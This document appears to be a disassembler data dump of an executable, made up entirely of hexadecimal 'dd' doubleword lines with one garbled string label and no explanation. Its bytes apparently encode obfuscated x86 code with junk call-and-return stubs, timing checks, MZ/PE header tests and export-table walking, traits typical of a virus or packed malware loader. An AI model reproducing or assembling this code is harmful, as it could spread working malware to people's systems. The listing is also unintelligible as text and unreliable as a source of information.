dd 60770C7Fh, 810FCCB6h, 6, 29959589h, 810F0935h, 1, 258964FCh
dd 0
dd 0BF58589h, 858D0935h, 9389121h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 17h, 59C35747h, 0F5DA15Fh, 148Dh
dd 0FE900h, 0C3CD0000h, 4376166Ch, 0BF017F5Eh, 3E7CA423h
dd 16089B6h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 14h, 7EC35141h, 68D0Fh, 9D290000h, 9352B5Dh, 275E9h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h
dd 0C3514100h, 0EB67B7C1h, 1E4990AEh, 6850FFCh, 1000000h
dd 3504B5BDh, 0E8DB8B09h, 0
dd 1AED815Dh, 0BC093891h, 12FF9Ch, 15F9BD83h, 74000935h
dd 0AD858B18h, 0C6093526h, 858B0000h, 9351C69h, 0FF0000C6h
dd 351AC995h, 0B5FF6009h, 938774Fh, 7753858Dh, 8D500938h
dd 38794B85h, 95FF5009h, 9352759h, 610CC483h, 1800Fh, 60F50000h
dd 1261B52Bh, 0B58B0935h, 9352599h, 4BB58D61h, 6A093879h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
dd 46000000h, 179EC356h, 0DE999h, 0A8780000h, 0AFEE6B2Dh
dd 0EAA87FEFh, 291CDE30h, 3522CD8Dh, 9DBD8D09h, 6009351Fh
dd 1A00BB66h, 8061D08Bh, 840F003Eh, 71h, 68F0Fh, 95310000h
dd 9352DD5h, 0ED9D8B60h, 66093531h, 70EFEE81h, 6AA461h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 7C3DD5C3h, 143A2881h, 0FA89E7Dh, 183h, 0ACE9F800h, 6AFFFFFFh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h
dd 47000000h, 0D89EC357h, 0C741BCD5h, 0E76F3Eh, 0B8F9h
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
dd 57470000h, 4EDD01C3h, 0A02A9E2Fh, 89EE264Ah, 35029195h
dd 18D0F09h, 0F9000000h, 0B8C0FAAh, 60000000h, 262DBD09h
dd 0BF0F0935h, 7B861DFh, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 7D26C351h
dd 0EE950E8h, 0D2000000h, 0D03522A0h, 0EA4F06B1h, 0A584BE6Dh
dd 0B185C75Eh, 1093516h, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 31CDC353h
dd 35249DB5h, 28D8D09h, 6A09354Ch, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 17042444h, 40000000h, 0A82CC350h
dd 0EE96571h, 6C000000h, 0DD7B0844h, 405F3270h, 7753DBD3h
dd 89E1FFD1h, 350C9995h, 245C8B09h, 0E8550Ch, 5D000000h
dd 9335ED81h, 838B0938h, 0B8h, 774F8589h, 858D0938h, 9389113h
dd 0B88389h, 335D0000h, 6660C3C0h, 0BF0FFB8Bh, 14E961D6h
dd 4D000000h, 18ADE515h, 0F9A44EB0h, 9396F586h, 65B10139h
dd 60342690h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Dh, 6AC35747h, 4C715108h, 0D08FDDC8h, 34858D8Bh, 89093896h
dd 35035195h, 52509009h, 0EE860h, 0A1200000h, 270C4F58h
dd 91EFA181h, 30618397h, 310F6158h, 28E0Fh, 61600000h
dd 5050585Ah, 68A0F52h, 50000000h, 5A310F52h, 0F310F58h
dd 287h, 5A616000h, 64FC9058h, 35FFh, 81600000h, 0D81CFEAh
dd 8B60617Bh, 350359BDh, 45858909h, 6109352Ch, 258964h
dd 29000000h, 350E95BDh, 0C5858D09h, 60093896h, 8E8h, 7B367600h
dd 1DA9EA33h, 0E6BF667Ch, 0EE95AF6h, 98000000h, 0AEF0A7AEh
dd 4D811B8Fh, 0C6BF3E17h, 6089618Bh, 53006A01h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 7F6D2527h
dd 6890F46h, 89000000h, 35128585h, 9D85C609h, 4F093517h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 55C35141h
dd 6820F6Eh, 9000000h, 3528E995h, 68C0F09h, 89000000h
dd 350A7595h, 4E809h, 742A0000h, 0E960FEC8h, 8, 85336C8Eh
dd 3821E246h, 830F5061h, 0Ah, 61605250h, 6160310Fh, 448B585Ah
dd 52500424h, 158A0Fh, 10E90000h, 0EF000000h, 8860C9ABh
dd 8D1F3D76h, 2B5E176Dh, 0FE22958h, 68A0F31h, 0F000000h
dd 81h, 8B585A00h, 60525000h, 0B9665B53h, 0F614362h, 2890F31h
dd 60000000h, 89585A61h, 60042444h, 0EB92AEBAh, 0AD3CB806h
dd 586147DFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 17h, 17C35747h, 0FF327812h, 35167DB5h, 56006A09h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 1B5B0AE7h, 30B9B18Dh, 36075F7h, 3522CDBDh, 0BA665209h
dd 61589F81h, 7B70858Dh, 6A0938h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 0A357CC3h, 9D799C01h
dd 12E99Dh, 273A0000h, 0A67907EFh, 60C5DAC1h, 0BB2858F4h
dd 35467DAh, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1A0424h, 53430000h, 0E1BEC0C3h, 7654ECF7h, 6E860h, 0F36D0000h
dd 0C4CD4543h, 0B529615Ah, 93517C9h, 0BEE9h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
dd 9CA73AADh, 8D899127h, 9350BE5h, 6019D01h, 5C8B0935h
dd 0E8550C24h, 0
dd 3EED815Dh, 8B093896h, 350EC985h, 7D858909h, 8B093516h
dd 35057D85h, 39858909h, 8B09351Fh, 35262185h, 4D858909h
dd 0C6093517h, 35179D85h, 85C70009h, 9387D61h, 0
aNeC8Ig db '█┘е√8',9,'┴┐╦',0
align 4
dd 0C3C0335Dh, 0C8D0Fh, 800F0000h, 6, 12598D89h, 85090935h
dd 9352475h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Bh, 0AEC35040h, 2E065E78h, 0BC1CB016h, 12FF74h, 0CE9h
dd 1B2A3B00h, 8C92392h, 0ACD8CF46h, 58F64BCh, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0A0C35242h
dd 0D75A78EAh, 6A04C483h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 19042444h, 42000000h, 9884C352h, 0A0B4D133h
dd 0FE861F9h, 0B000000h, 0EBFABB88h, 0B00F54D3h, 43D28A3Fh
dd 8D89B89Ah, 93525E1h, 7CE0805Fh, 6EE1C781h, 14E80000h
dd 0A4000000h, 6B8A3E68h, 0B5876DFDh, 7EC0B275h, 509AAB8Ah
dd 0BC1493Dh, 3510158Dh, 77685809h, 8900001Bh, 35043585h
dd 8D8B5A09h, 9350BE1h, 0B58937FFh, 9352461h, 0C18D8B5Eh
dd 81093505h, 1171A9C6h, 0CE841h, 8A8A0000h, 5A73E43Fh
dd 5DC50970h, 95895619h, 935064Dh, 36C68159h, 0BB4C16A2h
dd 6F653357h, 5F44F681h, 12E97DF1h, 0E2000000h, 0E30BA06h
dd 45B7FFCDh, 0E6D8B949h, 0B925BB99h, 840F560Ch, 5, 3DC98166h
dd 89078F6Ch, 351025BDh, 1EF8309h, 4F4F4FF9h, 83DE8B66h
dd 850F01EAh, 1Dh, 23818503h, 31E90935h, 3D000000h, 45C2EE14h
dd 2238E396h, 61E1405Dh, 92111266h, 35BD2991h, 0E9093505h
dd 0FFFFFF5Ch, 9651C7FAh, 0C85B2117h, 7AA52882h, 746DD8C6h
dd 0EE546464h, 83E9h, 52515300h, 5C8B5756h, 81661C24h
dd 0F5A4D3Bh, 6885h, 43B70F00h, 66D8033Ch, 45503B81h, 57850Fh
dd 5B8B0000h, 245C0378h, 24738B1Ch, 1C247403h, 207B8B56h
dd 31C738Bh, 320247Ch, 0FC202474h, 41FFC983h, 1C245C8Bh
dd 5403178Bh, 0C7832024h, 84028A04h, 3A0874C0h, 43E87503h
dd 3AF2EB42h, 5FE07503h, 0B70FE1D1h, 48B0F04h, 24440386h
dd 5A5E5F1Ch, 8C25B59h, 0E9C03300h, 0FFFFFFF1h, 48E9CA8Bh
dd 68000001h, 6C000000h, 70000000h, 74000000h, 78000000h
dd 7C000000h, 80000000h, 84000000h, 0C8000000h, 0CC000000h
dd 0D0000000h, 0D4000000h, 0D8000000h, 0DC000000h, 0E0000000h
dd 0E4000000h, 0E8000000h, 0EC000000h, 0F0000000h, 0F4000000h
dd 0F8000000h, 0FC000000h, 0
dd 4000001h, 1, 37h dup(0)
dd 0F3000000h, 0EB00577Eh, 8D00BB50h, 3898C585h, 8D8BF509h
dd 9350D0Dh, 9A058589h, 0BE660938h, 85C6AE3Dh, 935179Dh
dd 759D8B54h, 0E809352Ch, 4, 0EE626829h, 4850Fh, 60570000h
dd 66505B61h, 448BD18Bh, 0B9660424h, 8B2E67h, 8A515250h
dd 310F59F9h, 5ACE8B66h, 24448958h, 0CE8B6604h, 79852958h
dd 0FF09351Ch, 35167DB5h, 0CDB50309h, 8109350Ah, 7A4862E7h
dd 70858D79h, 8909387Bh, 352EBDB5h, 3BBA6609h, 66D0FF55h
dd 89FDDBBFh, 389A0985h, 0E9CE8B09h, 45h, 3820Fh, 8B660000h
dd 0B58B56F9h, 9389A05h, 85830689h, 9389A05h, 60C35E04h
dd 98C5B58Dh, 0FEB0938h, 0FF006A56h, 995FF36h, 5E09389Ah
dd 8304C683h, 0EC75003Eh, 0BA66C361h, 8F0F0F05h, 1, 0BD858DF9h
dd 0F09389Ah, 681h, 98D8B00h, 0BA093528h, 1FC6CBB3h, 0F3D8589h
dd 0E5E90935h, 10000000h, 0DCFFEE4Dh, 1D1F3271h, 0DD7A0E0Ah
dd 3733538Fh, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h
dd 73D575DFh, 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh
dd 7F2D773Dh, 7DD77DD5h, 6D171E57h, 602075DFh, 20206020h
dd 2060E0E0h, 0F77B68ACh, 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh
dd 0ACA3F291h, 60206020h, 20206020h, 2060E0E0h, 0A335375h
dd 557D2F0Dh, 60206020h, 0A7286020h, 50F0362Bh, 0B6F360D6h
dd 0F796A1EFh, 0E3A7B4E0h, 0F47192B8h, 6DB9E9B3h, 602060F7h
dd 60206020h, 6DF72020h, 73351ADFh, 3D577DD7h, 0D55FEDF7h
dd 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h
dd 73D575DFh, 3D577DD7h, 0D55FEDF7h, 37335375h, 357D2F6Dh
dd 0E0A1Eh, 0A766C1A8h, 43F2FD54h, 525B2890h, 0C56E9h
dd 9E7C6800h, 0D9E90938h, 68FFFCE2h, 9389F83h, 0FCE2CFE9h
dd 0A07568FFh, 0C5E90938h, 68FFFCE2h, 938A147h, 0FCE2BBE9h
dd 0A1B868FFh, 0B1E90938h, 68FFFCE2h, 938A25Fh, 0FCE2A7E9h
dd 0A38168FFh, 9DE90938h, 68FFFCE2h, 938A482h, 0FCE293E9h
dd 0A56568FFh, 89E90938h, 68FFFCE2h, 938A622h, 0FCE27FE9h
dd 0A6D068FFh, 75E90938h, 0E6FFFCE2h, 8A4E4F74h, 0CF910A97h
dd 0A0584550h, 0CA8E0F88h, 5E554653h, 0D5C45D2Dh, 7E1B10C8h
dd 0D8C55B1Dh, 0B8213DC3h, 3A1EDE3h, 12FDA5B9h, 159B20ADh
dd 8E6673EBh, 5C97001Ch, 71E812B6h, 41507A68h, 0A2441C36h
dd 5643D852h, 6E90369Bh, 9C10E3F0h, 58DC1780h, 23115E96h
dd 763C6226h, 721C3641h, 1A16886Ch, 5626207Dh, 0F5A9AE72h
dd 54467A95h, 8473A7C5h, 5E69FCF8h, 7A1A2358h, 566A82E5h
dd 0EF0BB9D0h, 22AA44BCh, 0BCDD5466h, 0C0998535h, 0AB9132E0h
dd 0C823B145h, 0DC1502E8h, 257DE28Ch, 0EF01E1A4h, 39C9004h
dd 4D4AE69Ah, 50AF16A6h, 78E51300h, 7C65F98Ch, 0DCC5591Fh
dd 128FA315h, 0B12E40BAh, 0FD4EBE45h, 0CFC86417h, 0EAB1DCCEh
dd 56B69285h, 15000005h, 43AE2B47h, 88445DD1h, 28B6FD76h
dd 1C3641A2h, 16DE1096h, 0BE358D41h, 7C29196Bh, 3F561AA6h
dd 33D9C28Dh, 0BD6530C3h, 0E9D311A6h, 0DD1C35FBh, 13BB35BBh
dd 31E8ACDh, 0A8367E15h, 1300E122h, 6E5E9016h, 0D849B10Eh
dd 0FB3EC0DFh, 4D645C71h, 9F1ED6A6h, 109AF11h, 0DE9E7013h
dd 0C52EEFFBh, 0B02D42BBh, 0C531BF41h, 8AC38470h, 0DD9285E4h
dd 45h, 0C39B2EAEh, 253DBF0Bh, 63B240B4h, 99150372h, 6A4CDC17h
dd 9A130111h, 67D91885h, 9225CCC9h, 0A9E68173h, 0D1FBA9E5h
dd 0C5130111h, 967ED323h, 852958B5h, 0CD0F92h, 0FBB0000h
dd 11DEBD1h, 3DB9DF13h, 0AE2B4796h, 14859C1Eh, 41A02AB8h
dd 12941C36h, 70E95BE2h, 0FCF7E279h, 32567678h, 3641466Ch
dd 589C421Ch, 0CECB67D9h, 24BDB123h, 41B2E577h, 0AE501C36h
dd 59D323B0h, 90F0DCC5h, 0ED0192CEh, 0A58272DBh, 4FA23F33h
dd 631C11ABh, 363F773Dh, 836D731Ch, 0FDD5E073h, 666C13D1h
dd 3E601503h, 7F25695Dh, 13011935h, 0BC47AF31h, 79D31E9h
dd 0BCCCDD9h, 29D3FB9Dh, 6CF4A930h, 0F400E4F5h, 0E9E9A0D2h
dd 91A604Ah, 69CB0000h, 94894F4Ch, 57C8900Dh, 978F514Ah
dd 4EE79902h, 3049524Bh, 0C5D6C35Ah, 207D1813h, 0C4D9C658h
dd 0E6B7203Ch, 6E548A42h, 6A12FDA3h, 2E479A39h, 0F26EF2ABh
dd 2E13B8E5h, 0BF0BC39Bh, 41EFD50Bh, 0C5EB1C36h, 7174A331h
dd 66881503h, 367C2266h, 32130111h, 25C948ACh, 9F25485Dh
dd 37BF1F5Ah, 10127A9h, 9426E813h, 0AAF7FF98h, 0D239DBAh
dd 0E0138CA0h, 0DD5F925Ch, 3A147919h, 0E4539285h, 34000000h
dd 0E5802B47h, 0D87D08C4h, 4DF100EEh, 0CF22BFB3h, 3E37A94Dh
dd 0D6B2589Bh, 358702C8h, 0D8E2001Ch, 0CC1C3586h, 0FEF6F8CAh
dd 35861D70h, 4BE3DD1Ch, 91B45E20h, 32BCBA43h, 47B93DBFh
dd 6BEDAE2Bh, 7865FAF7h, 0A5F07B76h, 0BCC3E1EDh, 30150314h
dd 346A1EAEh, 1300C38Eh, 0BB90648Ah, 0DC1992Ch, 0CC750AD7h
dd 7DF40A0Bh, 0C03A925Ch, 0B12E40A9h, 839A5E3Fh, 5BCCE16h
dd 8221E9A1h, 81398h, 3196C400h, 6079F46Ch, 2FAAC53Bh
dd 6572EA6Eh, 30A9C038h, 2FDBB06Bh, 86FAA336h, 2DB3E8EDh
dd 83F5A633h, 7A9F2EFh, 0A2B319C7h, 0F6A712FDh, 0AB2E47D5h
dd 93396723h, 871C3641h, 0EB89561h, 419E24BAh, 0BE981C36h
dd 4C87E166h, 30C4EAD8h, 9935A2BEh, 6A8A0F27h, 0EFE9998Dh
dd 404D123Dh, 479B42B2h, 0D143AE2Bh, 6F57445Dh, 29C8D14Dh
dd 66DF4FA7h, 74583083h, 27CAD74Ah, 0F7AD51A5h, 15035544h
dd 0D06EAE30h, 0D9C91F14h, 5CD0982Bh, 0DE398321h, 0AB2D2438h
dd 0C42AAE45h, 5D7AF608h, 0DF128FA3h, 0AFF5995Dh, 1D05F15Ch
dd 6B61698h, 39A69853h, 6C568CCCh, 681D6E3Bh, 0C54CA846h
dd 17B76F3Ah, 46329789h, 89456B16h, 715B8945h, 632445C4h
dd 43F3D3C0h, 0DC02C0E9h, 678F0C22h, 3B6079F5h, 0B430A9C5h
dd 0E18ED854h, 21C0AA49h, 0D2000007h, 0A65A4360h, 0CB8D0E8Bh
dd 8C544954h, 0E69A0394h, 4A514A4Fh, 0D9C05931h, 0B2273CC4h
dd 0DCF977E9h, 0BC2539BFh, 0FFA5E9DFh, 12FDA1B5h, 479F24B1h
dd 9C1EAE2Bh, 8C0D2582h, 800B9262h, 0E5F46D35h, 5A1DC30Bh
dd 5815036Dh, 2AC9CE66h, 0FEA04EA6h, 1FF7C29Dh, 0AAADF1AFh
dd 3F610BD9h, 0E8F16D8Fh, 6901FBB3h, 7C465C70h, 781C288Dh
dd 100C7E76h, 79834787h, 0E1EBF9E0h, 0D31C288Dh, 6BFF87D4h
dd 9ED2F07Dh, 0F3DAB28Fh, 62925CD5h, 8D4550DBh, 0A3418D41h
dd 1C288519h, 1A879B0Dh, 659B55D7h, 9927CFCAh, 15011C3Eh
dd 0AE507C22h, 4BCD24B1h, 61FDFFABh, 0C15D2378h, 3B8E19D8h
dd 0C6356B63h, 320BCE21h, 5EBE38ACh, 54DFE99Eh, 64F6Ah
dd 75520000h, 24BDB028h, 736E0177h, 19BEB62Ah, 7465FC84h
dd 6B1F6C27h, 42B6E7F2h, 69EFAC29h, 2FB1EAF7h, 53F5A633h
dd 0A05F657Bh, 4A5B12FDh, 0C39B2E89h, 0D8E2D50Bh, 0DEE0150Eh
dd 0EFA55146h, 47DBE5E9h, 6616725Ah, 0FBFE41BBh, 3C865C78h
dd 3812FDE8h, 0F7693EB6h, 8935E7Bh, 0BBE9E5BDh, 0BCB14D4h
dd 0CE3EA648h, 0CFE9ABA8h, 5DE3A24h, 0AD8F0000h, 50CD9308h
dd 938C5449h, 4BE39506h, 928B4D4Eh, 0EC9D9607h, 992071Eh
dd 0E4B9DC57h, 895021Ch, 0DAC3DC50h, 0C20896F6h, 0B612FDA0h
dd 9B2EA625h, 0D1D50BC3h, 45150ED9h, 9D912BA3h, 4DE19704h
dd 87129D54h, 61FDFFCFh
dd 0A6824856h, 707612FDh, 5F1737Eh, 3D8C4B59h, 6E700BD6h
dd 95101E5Eh, 6AACF95Bh, 8507EAF7h, 0DDDF8B6Bh, 0C745841h
dd 0A819CFEEh, 0FCD125D5h, 33CDE884h, 7D479D38h, 791C3638h
dd 0ED7A7977h, 14CA02DAh, 15033FE5h, 504DE3DDh, 29D71FA1h
dd 35235F87h, 37BAF2D3h, 5374Fh, 6D4AE800h, 2CB5A830h
dd 6B76E96Fh, 21B6AE32h, 6C6D047Ch, 7317642Fh, 3ABEDFFAh
dd 71E7B421h, 47B9E2FFh, 3BEDAE2Bh, 9F674D93h, 326312FDh
dd 0AE2B4791h, 445DD143h, 0DAFF7688h, 16FFE3E6h, 0D61E1CA9h
dd 8B536601h, 0E8E40A97h, 2DEB3BAh, 0AC476915h, 0A19A1Ch
dd 1A0A5B13h, 859E0C41h, 3A5B92h, 2E2C0000h, 0BF0BC39Bh
dd 0A9C6233Dh, 0AD43C52Ch, 726CBB49h, 0E901503h, 0B3243CBEh
dd 0B938BC40h, 111A52Bh, 15FF6613h, 8529D934h, 0E88E92h
dd 88380000h, 5E29F1D6h, 8827CF3Ah, 43AE2B47h, 96031D9Fh
dd 6475EC5Eh, 0B3EC1868h, 9CE12733h, 0CB67D958h, 0BDB123CEh
dd 0B2E57724h, 501C3603h, 0CD24B1AEh, 3D31AB4Bh, 0ED81F7A4h
dd 48E6D8F4h, 0D024A84Bh, 1BF3C651h, 3172EDB3h, 52261503h
dd 83FBD4D8h, 920F20E9h, 2509925Ch, 65D5425Dh, 95617104h
dd 0EFDFB702h, 0CCC480B1h, 5A72740Bh, 35534E2Eh, 0BD1A5C76h
dd 3EB638A1h, 574455CCh, 0D51188A1h, 0E9A0E68Bh, 15E7CF52h
dd 0C6000004h, 0EA6E2F94h, 0AF316A77h, 7825B0h, 0AA2E6F68h
dd 0BE7526B3h, 0B5243DCDh, 0DEFB70E8h, 0B8253BBDh, 98011DE3h
dd 63814D03h, 12FD9E59h, 477B404Dh, 5B23AB2Eh, 0D3810522h
dd 4E742A41h, 4A1C35A0h, 0B9B44AA4h, 81F7D420h, 0E6D8F4EDh
dd 0C5B71F4Ah, 0E53464F6h, 9064E80Bh, 9B2E18BBh, 4AD50BC3h
dd 0B8150372h, 0E0DC9D08h, 14EA6571h, 0CA787C1Dh, 793FCD24h
dd 3A130107h, 0E6F36A94h, 186D890Bh, 0E57272Ch, 4FDE4DD0h
dd 0CEFF9F57h, 9992853Ch, 0C7h, 47B915FAh, 0C044AF2Ah
dd 36419822h, 0EA0A8C1Ch, 10E3FC70h, 0DD14859Ch, 3641384Fh
dd 4974E81Ch, 363E319Bh, 6D83251Ch, 2BB4A830h, 82683BC8h
dd 0BB3694FBh, 0EAE20C14h, 320B9B4h, 64395F15h, 74583083h
dd 0CC90C82Eh, 329A3C0Bh, 0CDCA6456h, 6ED9E301h, 0CBCD1C33h
dd 21B8B12Bh, 6C6D047Ch, 0A1061678h, 321CC7E9h, 314h, 693297C5h
dd 3E5F7AF7h, 6338A5BAh, 8714859Dh, 5C4158D1h, 0C9602A5Fh
dd 1E15CBD0h, 0C05E227Bh, 1A16CAD3h, 6428207Dh, 0FD9D743Eh
dd 60637012h, 0F2AB2E47h, 0B516843Ch, 2627CB61h, 86A6EC53h
dd 0E90DE3D6h, 0EEDEFB77h, 208CE98Eh, 37BFD05Eh, 3C146C62h
dd 4F919B4Dh, 154BF202h, 41A12BB9h, 13951C36h, 0CAF569E3h
dd 3641AE14h, 0C804AA1Ch, 3641B01Ah, 0EC02A41Ch, 29F9305h
dd 726EE999h, 41428816h, 0B0361C36h, 2EE6B144h, 5531009Eh
dd 0A1471503h, 1D89E77Dh, 590AECEh, 1BD5C45Dh, 0FBE2EDB3h
dd 0ECA06802h, 0C40CB6h, 0EE60878h, 28B33E60h, 2709979Dh
dd 4C84F754h, 0D31DBAB2h, 1F33E5FBh, 21C770D9h, 541F13ADh
dd 0D12A3CEBh, 0B905E64h, 24C0D955h, 96ABAF88h, 31A48E15h
dd 0E2000002h, 964A5370h, 0DB9DFE9Bh, 0BC445944h, 0F66A33A4h
dd 7A415A7Fh, 9908901h, 4257CC94h, 0C89A759h, 4C55C98Fh
dd 6F35594Fh, 12FD9C45h, 472F9441h, 8AE3802Bh, 0D964580Ah
dd 444FDC17h, 0BBA2408Ch, 0BB1502ACh, 3512FE03h, 0E3138CB2h
dd 70F2AB2Dh, 0C59D28D9h, 368DB09h, 1C4C0BCEh, 5D01AFA6h
dd 0A02CC2B2h, 250CB6ECh, 0E6081C36h, 7624BA0Eh, 0A5A0B80Fh
dd 0D9D64A12h, 189C5742h, 57991BD6h, 0E0BA6977h, 983E5874h
dd 23FBCE59h, 0B09FDFABh, 36C2FBB3h, 719A74Fh, 0FB5F52DEh
dd 4BE7D9F5h, 978B4D4Eh, 3A5FD6E8h, 0B32122A8h, 5E90165Fh
dd 2152D486h, 402AC9A6h, 174h, 9923725h, 0DEBFDA57h, 398051Ah
dd 0A7F4E57Dh, 0FCA13831h, 0A9C04A3Fh, 7EF56B30h, 0A0BE425Bh
dd 7AF66A33h, 4488405Dh, 0FD9B149Eh, 40831012h, 2586AD15h
dd 35BDA8C1h, 0C6D34FC1h, 3D15A02Bh, 0FAC5391h, 50201503h
dd 8FF2E89Bh, 0B5CEC222h, 6D3A6F53h, 0F66C31BFh, 2CE4AF54h
dd 602F02A0h, 0A3450BCDh, 0CC3FE57Bh, 3BC5A4C3h, 0B63AB924h
dd 28E0B33Eh, 460BFEA4h, 0C7E95C11h, 3C149F2Ch, 20BC5290h
dd 0AE306347h, 17809C1Eh, 61EA086h, 0DE8B316Fh, 597F6336h
dd 1CD85C97h, 0F218EA2h, 0C8885C92h, 0D5A29D95h, 0C6644Eh
dd 0C5770000h, 2845BBE0h, 0FB74ECB1h, 233BBDDEh, 0FA73E5B6h
dd 84F5BEDFh, 316A6F06h, 7C21B4AFh, 306D6A04h, 722BB4A8h
dd 0EAD00EBEh, 0DE12FD9Bh, 2B470EADh, 0EDB843AEh, 99F59935h
dd 578D0827h, 1C36416Dh, 21AF4769h, 150352F2h, 0A0ECE006h
dd 130B802h, 0D42AAC13h, 0E1B63E5Bh, 0F3DBB306h, 0D9C8F1ADh
dd 7083250Bh, 267760FCh, 3C31BEB2h, 18A84BA5h, 47483884h
dd 857064C1h, 35ABF0E9h, 20B9B039h, 52A14FD1h, 0A25146DEh
dd 887361B2h, 9C920B94h, 3CCDF9E4h, 0B541B8D4h, 0A98273Bh
dd 0C0C79CC0h, 8F627FF0h, 0BF31B70Dh, 6673ED0Fh, 66ED098Bh
dd 0F7Ch, 0EB15CD00h, 0DC5D6570h, 0ACBC0BEEh, 0AC57C135h
dd 41B01547h, 0AB4653CFh, 37BA2739h, 0C82BAEC5h, 35BCDD54h
dd 0C42FAAC3h, 34BFD850h, 0BF32AFC0h, 2AC9D04Dh, 47C3685Dh
dd 4890000h, 5E08924h, 4, 8704E883h, 685C2404h, 4739h
dd 50242C89h, 405E089h, 2D000000h, 4, 5C240487h, 0BD240C89h
dd 6F844777h, 241CF755h, 0E5C1455Dh, 3FED8104h, 54FE82ECh
dd 81240C8Bh, 4C4h, 0BE565500h, 4B2A05F9h, 4247429h, 8418F5Eh
dd 0F9084181h, 0FF4B2A05h, 83592434h, 2C8B04C4h, 0E6895624h
dd 4C681h, 0C6830000h, 24348704h, 0D696E95Ch, 0FABEFFFCh
dd 5AF5F210h, 0B8885E62h, 938A7BBh, 0E0FFC503h, 34AB3276h
dd 4D8A77Ch, 68B8BD90h, 76935EB7h, 6E8h, 26B26B00h, 5847CD46h
dd 6BB6C081h, 0D2810000h, 575DB881h, 0BEh, 8B666000h, 11E8D8h
dd 6FF60000h, 48294E6Fh, 0B11364C1h, 63666047h, 66C4405Ah
dd 5E8B70BEh, 303C8B61h, 1523BA66h, 0AB6CEF81h, 0E5BB3958h
dd 816DDA57h, 0D629FF7h, 0B9665033h, 81596F78h, 33C573EFh
dd 0E5C3BA78h, 3C890FDEh, 0E8CF8B30h, 12h, 0C251DB39h
dd 0D6B6EAFEh, 0C1AD8486h, 0F98DF397h, 9FB363FDh, 0F3EE815Bh
dd 0E94EDE07h, 6, 0D518B8D7h, 0C681797Ch, 4EDE07EFh, 0FBE88060h
dd 38F0Fh, 0EB800000h, 0FE8161D8h, 0FFFF9528h, 24850Fh
dd 0F8600000h, 8E9h, 0DC3B0100h, 9304A602h, 1CE96167h
dd 0E7000000h, 20333945h, 0E88CB8ABh, 832B97C9h, 0E9FCE455h
dd 0FFFFFF5Dh, 0BE9C90DBh, 0E94330A5h, 75h, 0D88C6660h
dd 840F04A8h, 35h, 0B5FF016Ah, 9350EC9h, 7B70858Dh, 0D0FF0938h
dd 26958589h, 0FE8B0935h, 680CEFC1h, 20040000h, 26A006Ah
dd 0D6857h, 95FF0001h, 9352695h, 32E9h, 9D85C600h, 56093517h
dd 0C530DF68h, 7DB5FFA9h, 8D093516h, 387B7085h, 89D0FF09h
dd 3526CD85h, 0D5858D09h, 50093531h, 56A206Ah, 0CD95FF56h
dd 61093526h, 6E0C1C3h, 9104BEBh, 0C53C2F0Eh, 0ACDA4B1Ah
dd 0D2D41CA4h, 0E45C5Ch, 0F53134CEh, 0B327CE1Bh, 5B34D129h
dd 0E62AC7DDh, 0DF1BCE17h, 0A6DB6734h, 46716200h, 0A3EA1A00h
dd 0D5h, 0E2199C00h
dd 620000FEh, 0FBFEh, 0E6412800h, 727DD427h, 0D06E9C3h
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 61272CC3h, 4AE8B7ACh, 0BD83A2FEh, 9351C19h
dd 15850F00h, 0B8000000h, 0
dd 95B5760h, 352615BDh, 4C26109h, 0D8BF0F00h, 6AC08Bh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 523554C3h, 90BB6626h, 0A58D8B90h, 83093506h, 3526A1BDh
dd 9750009h, 3079BD83h, 74000935h, 8B535013h, 4D0B8C0h
dd 9D8D0000h, 937B20Ch, 585BD3FFh, 3079BD83h, 74000935h
dd 0B8535011h, 4D0h, 0B1599D8Dh, 0D3FF0937h, 9589585Bh
dd 9350F69h, 6A5BB3h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 1F7500C3h, 3BF281B5h, 8B0AC57Ch
dd 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h
dd 0C3514100h, 8D61CD90h, 38AA0B85h, 0E5850109h, 50093529h
dd 2890Fh, 0D18B0000h, 66240489h, 8D5A6EBFh, 38A9C885h
dd 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 0F51F977h, 505FDBB7h, 5E8h, 2E28B500h, 0B9661AC0h
dd 895BC697h, 0CA8B2404h, 0B5D95FFh, 0BF0F0935h, 24448BD0h
dd 81665604h, 5A6C11D7h, 0A9F38589h, 0EF810938h, 4E7EBF01h
dd 3840Fh, 0B70F0000h, 24448BD8h, 0CB8B5008h, 785895Bh
